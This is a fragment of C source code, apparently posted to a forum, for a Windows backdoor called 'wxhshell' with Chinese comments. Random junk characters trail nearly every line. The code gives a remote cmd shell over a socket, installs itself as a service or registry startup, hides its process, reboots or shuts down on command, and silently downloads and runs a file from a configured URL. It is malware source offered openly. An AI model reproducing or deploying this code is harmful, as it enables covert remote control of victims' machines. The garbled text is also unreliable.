  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lks+FW  
  } o@360#njF  
  else { ;Qt/(/  
/2=9i84  
    switch(cmd[0]) { zJ}abo6rVw  
  {#?|&n<  
  // 帮助 =EYgck;)  
  case '?': { /]J\/Z>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +\ "NPK@3  
    break; }L|B@fW  
  } nJv=kk1|o  
  // 安装 4*f+np  
  case 'i': { ^4]=D nd%  
    if(Install()) ~cO iv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZZHQ?p-  
    else n ei0LAD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (AjgLNB  
    break; )n9,?F#l  
    } J{a9pr6  
  // 卸载 {0,6- dd5  
  case 'r': { {y5 L  
    if(Uninstall()) ,m0 M:!hK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9L-jlAo<  
    else xuqG)HthRS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?ZC!E0]  
    break; l+y;>21sTu  
    } Mby4(M+&n  
  // 显示 wxhshell 所在路径 m0.g}N-w  
  case 'p': { ,S(Z\[x0  
    char svExeFile[MAX_PATH]; *6u2c%^  
    strcpy(svExeFile,"\n\r"); 9o?\*{'KT  
      strcat(svExeFile,ExeFile); FY)]yz  
        send(wsh,svExeFile,strlen(svExeFile),0); gWjr|m<  
    break; +zDRed_]=_  
    } mb3aUFxA;  
  // 重启 * Z)j"i  
  case 'b': { wXnVQ-6H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v/~&n  
    if(Boot(REBOOT)) ^  ~1QA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yXEI%2~)  
    else { .X.6<@$  
    closesocket(wsh); #k &#d9}  
    ExitThread(0); F+BCzsm7$  
    } ?A.ah  
    break; dOaCdnd~  
    } :?ZrD,D  
  // 关机 n dN*X'  
  case 'd': { )OQ<H.X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [x=(:soEqC  
    if(Boot(SHUTDOWN)) pH3\X cn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #J5_z#-Q;  
    else { 726UO#*  
    closesocket(wsh); ?D9iCP~~  
    ExitThread(0); pJl/d;Cyrb  
    } hc0$mit  
    break; (IjM  
    } #^aa&*<D_  
  // 获取shell Xj30bt  
  case 's': { d9jD?HgM(  
    CmdShell(wsh); }$uwAevP{y  
    closesocket(wsh); *$;Zk!sEF  
    ExitThread(0); .qYQ3G'V  
    break; # &5.   
  } 2Ir*}s2{  
  // 退出 !5[SNr3^  
  case 'x': { <u# 7K\:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -U9C{q?h  
    CloseIt(wsh); ~5Mj:{B  
    break; k*,+ag*j  
    } f TK84v"7_  
  // 离开 cCx{ ")  
  case 'q': { uz$p'Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lS p"(&  
    closesocket(wsh); .EjR<UU  
    WSACleanup(); "j8=%J{  
    exit(1); i<tJG{A=  
    break; HKO]_; :(  
        } s0x/2z  
  } G7-k ,P^  
  } gyh8  
-^7 $HD  
  // 提示信息 4qsxlN>4O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MujEjD "|  
} WMWMb3  
  } K@Q%NK,  
D8Mq '$-  
  return; d`5AQfL&  
} <1* \ ~CX  
gsa@ci  
// shell模块句柄 ^rjUye%EK  
int CmdShell(SOCKET sock) w2('75$J  
{ VTyj<6Y  
STARTUPINFO si; T 7qHw!)  
ZeroMemory(&si,sizeof(si)); $T7 qd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s6_i>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cF9oo%3  
PROCESS_INFORMATION ProcessInfo; CW/L(RQ  
char cmdline[]="cmd"; 9v3n4=gc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yA_ly <  
  return 0; = 8y,7u)  
} D~M R)z_p~  
Vw`Q:qo0:b  
// 自身启动模式 MOp "kA  
int StartFromService(void) ObS#aRq  
{ E_Y!in 70  
typedef struct %Lh+W<;  
{ ~.0'v [N  
  DWORD ExitStatus; [*0M$4  
  DWORD PebBaseAddress; H/;AlN|!  
  DWORD AffinityMask; EdSUBoWF}  
  DWORD BasePriority; fZ;}_wR-H  
  ULONG UniqueProcessId; |Sua4~yL(  
  ULONG InheritedFromUniqueProcessId; MLmaA3  
}   PROCESS_BASIC_INFORMATION; elpTak@  
r=A A /n<  
PROCNTQSIP NtQueryInformationProcess; 5dD8s-;^T  
k9:|CEP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [cl+AV "  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pQC|_T#u  
oj)(.X<8N  
  HANDLE             hProcess; ue'dI   
  PROCESS_BASIC_INFORMATION pbi; ~ L>M-D4o  
Y3(I;~$!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SB.=x  
  if(NULL == hInst ) return 0; unbIfl=  
X')l04P@%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3Lq9pdM>2@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wv;,@xTZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r ) _*MPY  
#5'@at'1  
  if (!NtQueryInformationProcess) return 0; pLV %g#h  
rX>b R/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6 v~nEw  
  if(!hProcess) return 0; 7n+,!oJ  
Q7<VuXy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O|^J;fS:  
3G2iRr.o  
  CloseHandle(hProcess); <hTHY E=  
@EyB^T/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IA[:-2_  
if(hProcess==NULL) return 0; T:H~Y+qnt  
Iw h0PfWJ  
HMODULE hMod; 4 m"0R\  
char procName[255]; p4UEhT  
unsigned long cbNeeded; ?TK`sGy  
2k^rZ^^"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~/z%yg  
0( A  ?&  
  CloseHandle(hProcess); Q .h.d))  
!cM<&3/  
if(strstr(procName,"services")) return 1; // 以服务启动 b09xf"D  
sK&kp=zu  
  return 0; // 注册表启动 *n7=m=%)  
} d!Gy#<H  
~1twGG_;  
// 主模块 '` 2MxRP  
int StartWxhshell(LPSTR lpCmdLine) vTK8t:JQ~  
{ jWi~Q o+  
  SOCKET wsl; X"r.*fb;N  
BOOL val=TRUE;  (FaYagD  
  int port=0; bR~(Ry`  
  struct sockaddr_in door; j2u'5kJ G  
vR2);ywX  
  if(wscfg.ws_autoins) Install(); C<I?4WM  
1IS1P)4_0  
port=atoi(lpCmdLine); z>,M@@  
_5~|z$GW  
if(port<=0) port=wscfg.ws_port; F --b,,  
xE^G*<mj:  
  WSADATA data; bn8maYUZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v~T)g"_|  
oq!\100  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0a8\{(w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8]`s&d@GY  
  door.sin_family = AF_INET; fKqr$59>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }5(_gYr  
  door.sin_port = htons(port); 'q |"+;  
1hgIR^;[b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C,W_0= !e  
closesocket(wsl); n_RZ:<Gr  
return 1; e7{6<[k3+$  
} K{/i2^4  
%7aJSuQN%  
  if(listen(wsl,2) == INVALID_SOCKET) { r,0D I  
closesocket(wsl); 3ej237~F,L  
return 1; 6'/ Zq  
} r0lI&25w  
  Wxhshell(wsl); rA B=H*|6  
  WSACleanup(); "U4c'iW  
hLgX0QV  
return 0; |UWIV  
|gP)lR  
} 2#lpIj  
Q5Nbu90  
// 以NT服务方式启动 __QnzEF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @S}j=k  
{ qp6'n&^&  
DWORD   status = 0; H,w8+vZ4\  
  DWORD   specificError = 0xfffffff; JvW7h(u7g  
[qRww]g;P|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L%5y@b{AR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .`+~mQ Wn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mIYKzu_k=  
  serviceStatus.dwWin32ExitCode     = 0; R$ +RTG:E  
  serviceStatus.dwServiceSpecificExitCode = 0; <@ ts[p.  
  serviceStatus.dwCheckPoint       = 0; *k,3@_5  
  serviceStatus.dwWaitHint       = 0; juWXB+d2Y  
e4Y+u8gT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $A{$$8P  
  if (hServiceStatusHandle==0) return; PDA9.b<q0  
(n?f016*%d  
status = GetLastError(); 8gE p5  
  if (status!=NO_ERROR) xPUukmG:B  
{ @^YXE,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r^C(|Vx  
    serviceStatus.dwCheckPoint       = 0; uIO,9> ee  
    serviceStatus.dwWaitHint       = 0; OQ_< Vxz  
    serviceStatus.dwWin32ExitCode     = status; NR_3nt^h  
    serviceStatus.dwServiceSpecificExitCode = specificError; H#hpaP;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O^-QqCZE  
    return; TK' 5NM+4  
  } "A~dt5GJ  
L,#YP#O,j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !BkE-9v?w  
  serviceStatus.dwCheckPoint       = 0; sB *dv06b0  
  serviceStatus.dwWaitHint       = 0; v*GS>S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y]`=cR`/"  
} a-,*iK{_u  
i{$P.i/&  
// 处理NT服务事件,比如:启动、停止 PZV>A!7C8n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -th.(eAx  
{ V*te8HIe  
switch(fdwControl) PV"\9OIKb.  
{ Lc}hjK  
case SERVICE_CONTROL_STOP: [O_5`X9|  
  serviceStatus.dwWin32ExitCode = 0; +0ukLc@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Pz2Q]}(w  
  serviceStatus.dwCheckPoint   = 0; %4x0^<k~  
  serviceStatus.dwWaitHint     = 0; zB+e;x f|  
  {  bV(BwWm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  8(K:2  
  } ~1*37w~  
  return; xV14Y9  
case SERVICE_CONTROL_PAUSE: I(BJ1 8F$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z D"*fr  
  break; S#p_Y^A  
case SERVICE_CONTROL_CONTINUE: :/][ n9J^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lj&\F|-i  
  break; 4x+[?fw  
case SERVICE_CONTROL_INTERROGATE: R{A$|Ipaq  
  break; QwFA0  
}; TeZu*c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K-Pcew^?  
} SFuSM/Pf  
f&5S`}C  
// 标准应用程序主函数 .tfal9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m!<FlEkN  
{ hUvA;E(qD  
lAA6tlc#C  
// 获取操作系统版本 .,S`VNU  
OsIsNt=GetOsVer(); \+U;$.)3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %|JL=E}%|  
-9+$z|K  
  // 从命令行安装 {*hGe_^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9 {SzE /[  
s-SFu  
  // 下载执行文件 #H Jlm1d  
if(wscfg.ws_downexe) { }8"i~>>a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3My}u>  
  WinExec(wscfg.ws_filenam,SW_HIDE); qPDRB.K|}  
} TZ n2,N  
6f#Mi+"  
if(!OsIsNt) { Rd;t}E$  
// 如果时win9x,隐藏进程并且设置为注册表启动 <Mo{o2F=  
HideProc(); P $ h) Y  
StartWxhshell(lpCmdLine); M!gu`@@}F  
} +B+cN[d  
else oGeV!hD  
  if(StartFromService()) xo ^|d3  
  // 以服务方式启动 ]-X\n  
  StartServiceCtrlDispatcher(DispatchTable); Jz&dC  
else <]oPr1  
  // 普通方式启动 Mt{cX,DS  
  StartWxhshell(lpCmdLine); # E8?2]  
,_7m<(/f  
return 0; Ei<+{P(t0  
}
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只看该作者 1 发表于: 2006-10-10
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